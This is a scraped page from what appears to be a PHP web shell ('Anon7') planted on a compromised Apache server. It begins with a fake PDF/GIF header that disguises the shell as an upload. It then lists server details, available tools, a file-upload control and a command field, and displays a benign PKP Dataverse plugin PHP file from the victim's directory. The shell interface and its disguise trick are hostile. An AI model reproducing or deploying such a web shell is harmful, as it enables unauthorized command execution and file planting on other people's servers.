%PDF-1.7 GIF89;
shell
Server IP : 104.20.45.2  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/plugins/generic/dataverse/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /app/plugins/generic/dataverse/classes/DataversePackager.inc.php
<?php

/**
 * @file plugins/generic/dataverse/classes/DataversePackager.inc.php
 *
 * Copyright (c) 2013-2019 Simon Fraser University
 * Copyright (c) 2003-2019 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class DataversePackager
 * @ingroup plugins_generic_dataverse
 *
 * @brief Packages article metadata and suppfiles for deposit in Dataverse
 */
require_once('lib/pkp/lib/swordappv2/packager_atom_twostep.php');

class DataversePackager extends PackagerAtomTwoStep {
	
	/** @var string output path for packager files */
	var $_outPath;
	
	/** @var string file directory for packager files */
	var $_fileDir = 'files';
	
	/** @var array of files to be deposited: file paths indexed by filename */
	var $_files	 = array();
	
	/** @var string Atom entry filename */
	var $_atomEntryFileName = 'atom';
	
	/** @var string deposit package filename */
	var $_packageFileName = 'deposit.zip';
	
	/** @var string packaging */
	var $_packaging = 'http://purl.org/net/sword/package/SimpleZip';
	
	/** @var string package content type */
	var $_contentType = 'application/zip';

	/**
	 * Constructor.
	 */
	function DataversePackager() {
		// Create temporary directory for Atom entry & deposit files
		$this->_outPath = tempnam('/tmp', 'dataverse');
		unlink($this->_outPath);
		mkdir($this->_outPath);
		mkdir($this->_outPath .'/'. $this->_fileDir);		 		
		parent::__construct($this->_outPath, $this->_fileDir, $this->_outPath, '');
	}

	/**
	 * Add file to deposit package. 
	 * @param $filePath String file path
	 * @param $fileName String file name
	 */
	function addFile($filePath, $fileName) {
		$this->_files[$fileName] = $filePath;
	}
	
	/**
	 * Create Atom entry. Wrapper renames parent::create() to distinguish between
	 * Atom entry creation and deposit package creation.
	 */
	function createAtomEntry() {
		$this->create();
	}
	
	/**
	 * Create deposit package of files.
	 */
	function createPackage() {
		$package = new ZipArchive();
		$package->open($this->getPackageFilePath(), ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE);
		foreach ($this->_files as $fileName => $filePath) {
			$package->addFile($filePath, $fileName);
		}
		$package->close();
	}

	/**
	 * Get path to Atom entry file.
	 * @return string
	 */
	function getAtomEntryFilePath() {
		return $this->_outPath .'/'. $this->_fileDir .'/'. $this->_atomEntryFileName;
	}	 

	/**
	 * Get path to deposit package.
	 * @return string
	 */
	function getPackageFilePath() {
		return $this->_outPath .'/'. $this->_fileDir .'/'. $this->_packageFileName;		 
	}	 
	
	/**
	 * Get packaging format of deposit.
	 * @return string
	 */
	function getPackaging() {
		return $this->_packaging;
	}
	
	/**
	 * Get content type of deposit.
	 * @return string
	 */
	function getContentType() {
		return $this->_contentType;
	}
		
}

?>

Anon7 - 2022
SCDN GOK